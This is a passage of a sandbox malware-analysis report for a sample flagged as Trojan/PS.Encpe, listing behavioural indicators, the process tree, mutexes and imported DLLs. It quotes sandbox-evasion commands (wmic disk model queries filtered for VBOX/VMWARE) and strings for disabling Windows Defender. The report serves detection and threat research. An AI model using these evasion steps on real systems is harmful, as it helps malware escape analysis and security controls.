\"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Content\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$40","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"from Win32_DiskDrive\" (Indicator: \" Win32_DiskDrive\"; Source: \"00000000-00002452.00000000.161068.A4200000.00000004.mdmp\")\n Found string \"from Win32_DiskDrive\" (Indicator: \" Win32_DiskDrive\"; Source: \"00000000-00005428.00000000.161402.22D60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Searches for patterns in files","description":"Process \"findstr.exe\" with commandline \"findstr /i \"VBOX\"\" (UID: 00000000-00000952)\n Process \"findstr.exe\" with commandline \"findstr /i \"VMWARE\"\" (UID: 00000000-00003360)","origin":"Monitored Target","mitre_attack_id":"T1083","relevance":3,"id":"target-244","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\System32\\wbem\\WMIC.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00002452.00000000.161068.A3E60000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\System32\\wbem\\WMIC.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005428.00000000.161402.22DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-ItemProperty\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00002452.00000000.161068.A6650000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00002452.00000000.161068.A6650000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Stop-Service\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WBEM\\WMIC.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\FINDSTR.EXE\"; Value: \"\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\"; Key: \"HOSTNAME\"; Value: \"\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\"; Key: \"DOMAIN\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-Null\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-Service\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"WMIC.exe\" at 00000000-00002452-00000C15-1508092587\n \"WMIC.exe\" at 00000000-00005428-00000C15-1513243814","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\System32\\Wbem\\WMIC.exe\" launched with commandline \"wmic diskdrive get Model\" (UID: 00000000-00002452)\n Process \"%WINDIR%\\system32\\findstr.exe\" launched with commandline \"findstr /i \"VBOX\"\" (UID: 00000000-00000952)\n Process \"%WINDIR%\\System32\\Wbem\\WMIC.exe\" launched with commandline \"wmic diskdrive get Model\" (UID: 00000000-00005428)\n Process \"%WINDIR%\\system32\\findstr.exe\" launched with commandline \"findstr /i \"VMWARE\"\" (UID: 00000000-00003360)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"Cryptographic Related","name":"The input file contains long Base64 encoded strings","description":"$41","origin":"Binary File","mitre_attack_id":"T1132","relevance":3,"id":"binary-52","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"from Win32_DiskDrive\" (Indicator: \" win32_diskdrive\"; Source: \"00000000-00002452.00000000.161068.A4200000.00000004.mdmp\")\n \"from Win32_DiskDrive\" (Indicator: \" win32_diskdrive\"; Source: \"00000000-00005428.00000000.161402.22D60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/26 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$42","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"WMIC.exe\" opens a process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (UID: 00000000-00002452)\n \"WMIC.exe\" opens a process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (UID: 00000000-00005428)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"cmd.exe\" with commandline \"/c \"\"C:\\\\228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin.bat\" \"\" (UID: 00000000-00001908)\n Spawned process \"WMIC.exe\" with commandline \"wmic diskdrive get Model\" (UID: 00000000-00002452)\n Spawned process \"findstr.exe\" with commandline \"findstr /i \"VBOX\"\" (UID: 00000000-00000952)\n Spawned process \"WMIC.exe\" with commandline \"wmic diskdrive get Model\" (UID: 00000000-00005428)\n Spawned process \"findstr.exe\" with commandline \"findstr /i \"VMWARE\"\" (UID: 00000000-00003360)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads system information using WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":16,"imported_dlls_count":58,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["evasive"],"sample_flags":["Multi-Process"],"sandbox_reports":[{"id":"6973e2cc6005f4a2fc0be0b6","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":52,"malware_family":"PS.Encpe","submit_name":"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin","analysis_start_time":"2026-01-23T21:06:21+00:00","indicators_count":{"informative":135,"suspicious":11,"malicious":1},"tags":["Multi-Process"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}],"processes":[{"pid":1908,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00001908","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":2452,"ppid":1908,"name":"WMIC.exe","command_line":"wmic diskdrive get Model","sha256":"a23c1b94d193ebe3d4cf647c653e41f63ba7b6d996c9a3de6380408c7e4a812e","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00001908","uid":"00000000-00002452"},{"pid":952,"ppid":1908,"name":"findstr.exe","command_line":"findstr /i \"VBOX\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00001908","uid":"00000000-00000952"},{"pid":5428,"ppid":1908,"name":"WMIC.exe","command_line":"wmic diskdrive get Model","sha256":"a23c1b94d193ebe3d4cf647c653e41f63ba7b6d996c9a3de6380408c7e4a812e","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00001908","uid":"00000000-00005428"},{"pid":3360,"ppid":1908,"name":"findstr.exe","command_line":"findstr /i \"VMWARE\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00001908","uid":"00000000-00003360"}],"all_imported_dlls":["msvcrt.dll","fltLib.dll","ucrtbase.dll","msvcp_win.dll","cmdext.dll","KernelBase.dll","SHCore.dll","powrprof.dll","bcryptprimitives.dll","cryptsp.dll","uxtheme.dll","user32.dll","clbcatq.dll","bcrypt.dll","imagehlp.dll","cryptbase.dll","IPHLPAPI.DLL","wbemcomn.dll","userenv.dll","sxs.dll","win32u.dll","kernel.appcore.dll","MpOAV.dll","version.dll","sspicli.dll","urlmon.dll","iertutil.dll","VxSSL64.dll","gdi32.dll","ole32.dll","msxml6.dll","windows.storage.dll","ntdll.dll","sechost.dll","wbemsvc.dll","wbemprox.dll","MSOXMLMF.DLL","wmiutils.dll","vbscript.dll","dwmapi.dll","amsi.dll","combase.dll","framedynos.dll","profapi.dll","kernel32.dll","advapi32.dll","shlwapi.dll","coml2.dll","c4bWnk8Z.dll","ws2_32.dll","gdi32full.dll","msIso.dll","rpcrt4.dll","msvcr90.dll","oleaut32.dll","imm32.dll","fastprox.dll","wmi2xml.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2452:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Local\\SM0:2452:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"SM0:2452:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Local\\SM0:2452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"SM0:2452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2452:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Local\\SM0:5428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"SM0:5428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"SM0:5428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"Local\\SM0:5428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]}]}},"report_ids":{"sandbox_job_ids":["6973e2cc6005f4a2fc0be0b6"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan/PS.Encpe Sample 228a9cd76033… — Score 52/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 228a9cd76033…. Malware family: Trojan/PS.Encpe. Threat score 52/100. 1/26 AV engines flagged this file. 1 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan/PS.Encpe Sample 228a9cd76033… — Score 52/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 228a9cd76033…. Malware family: Trojan/PS.Encpe. Threat score 52/100. 1/26 AV engines flagged this file. 1 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan/PS.Encpe Sample 228a9cd76033… — Score 52/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 228a9cd76033…. Malware family: Trojan/PS.Encpe. Threat score 52/100. 1/26 AV engines flagged this file. 1 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L43","11",{}]]